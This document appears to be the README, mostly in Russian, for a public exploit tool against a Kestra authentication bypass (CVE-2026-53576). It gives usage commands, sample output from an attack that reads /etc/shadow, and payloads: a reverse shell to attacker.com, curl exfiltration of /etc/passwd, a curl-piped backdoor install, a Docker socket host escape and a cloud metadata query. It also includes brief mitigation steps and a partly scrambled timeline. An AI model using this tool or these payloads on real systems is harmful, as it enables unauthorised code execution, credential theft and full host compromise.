
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Критический обход аутентификации, ведущий к неавторизованному удалённому выполнению кода
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.
- НЕ ИСПОЛЬЗУЙТЕ его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
- НЕ ИСПОЛЬЗУЙТЕ его для незаконной деятельности.
- Автор НЕ несёт ответственности за любое неправомерное использование этого инструмента.
- Используйте на СВОЙ СТРАХ И РИСК.
CVE-2026-53576 — критическая уязвимость в Kestra OSS версиях до v1.3.20, которая позволяет неавторизованное удалённое выполнение кода через обход фильтра аутентификации.
Фильтр аутентификации в Kestra содержит критический логический изъян:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Этот код проверяет, заканчивается ли любой API-запрос на /configs, вместо сопоставления с точным маршрутом. Это позволяет злоумышленникам обойти аутентификацию, добавляя /configs к любому эндпоинту.
POST /api/v1/main/flows/configs (обходит аутентификацию)POST /api/v1/main/executions/configs/configs (обходит аутентификацию)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Вывод:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
Неавторизованный злоумышленник может:
Выполнять произвольные команды от имени root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Перейти на хост-систему (если смонтирован Docker socket):
docker run -v /:/host --privileged alpine chroot /host
Получить доступ к метаданным облака (при размещении у облачного провайдера):
curl http://169.254.169.254/latest/meta-data/
Остановите уязвимые экземпляры:
sudo systemctl stop kestra
Заблокируйте публичный доступ:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Примените правила межсетевого экрана:
Обновите Kestra до последней исправленной версии:
Внедрите надлежащую аутентификацию:
Укрепление контейнера:
/var/run/docker.sockУкрепление сети:
| Дата | Событие |
|---|---|
| 2026-05-26 | Уязвимость обнаружена |
| 2026-06-03 | Опубликован Security Advisory от Kestra |
| 2026-06-10 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Если вы нашли этот инструмент полезным:
⚠️ ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО ⚠️
| Параметр | Значение |
|---|
| Идентификатор CVE | CVE-2026-53576 |
| Критичность | Критическая (9.8 CVSS) |
| Тип уязвимости | Обход аутентификации + RCE |
| Затронутый продукт | Kestra OSS |
| Затронутые версии | ≤ v1.3.20 |
| Вектор атаки | Сеть |
| Требуется аутентификация | Нет |
| Взаимодействие с пользователем | Нет |
| Опция | Описание |
|---|
target | IP-адрес или имя хоста цели (обязательно) |
-p, --port | Порт (по умолчанию: 8080) |
--https | Использовать HTTPS вместо HTTP |
-c, --command | Пользовательская команда для выполнения |
--docker-check | Проверить доступ к Docker socket |
--cleanup | Удалить flow после эксплуатации |
--delay | Задержка между запросами (по умолчанию: 2 с) |
| Категория | Критичность | Описание |
|---|
| Конфиденциальность | ⚠️ Критическая | Чтение любых файлов (пароли, секреты, конфигурации) |
| Целостность | ⚠️ Критическая | Создание/изменение/удаление flows и данных |
| Доступность | ⚠️ Высокая | Остановка системы, истощение ресурсов |
| Аутентификация | ⚠️ Критическая | Полный обход Basic-Auth |
| Повышение привилегий | ⚠️ Критическая | Команды выполняются от имени root (uid=0) |
| Побег из контейнера | ⚠️ Критическая | Компрометация хоста через Docker socket |
| Присвоен CVE-2026-53576 |
| 2026-06-15 | Публичное раскрытие |
| 2026-08-01 | Опубликован PoC |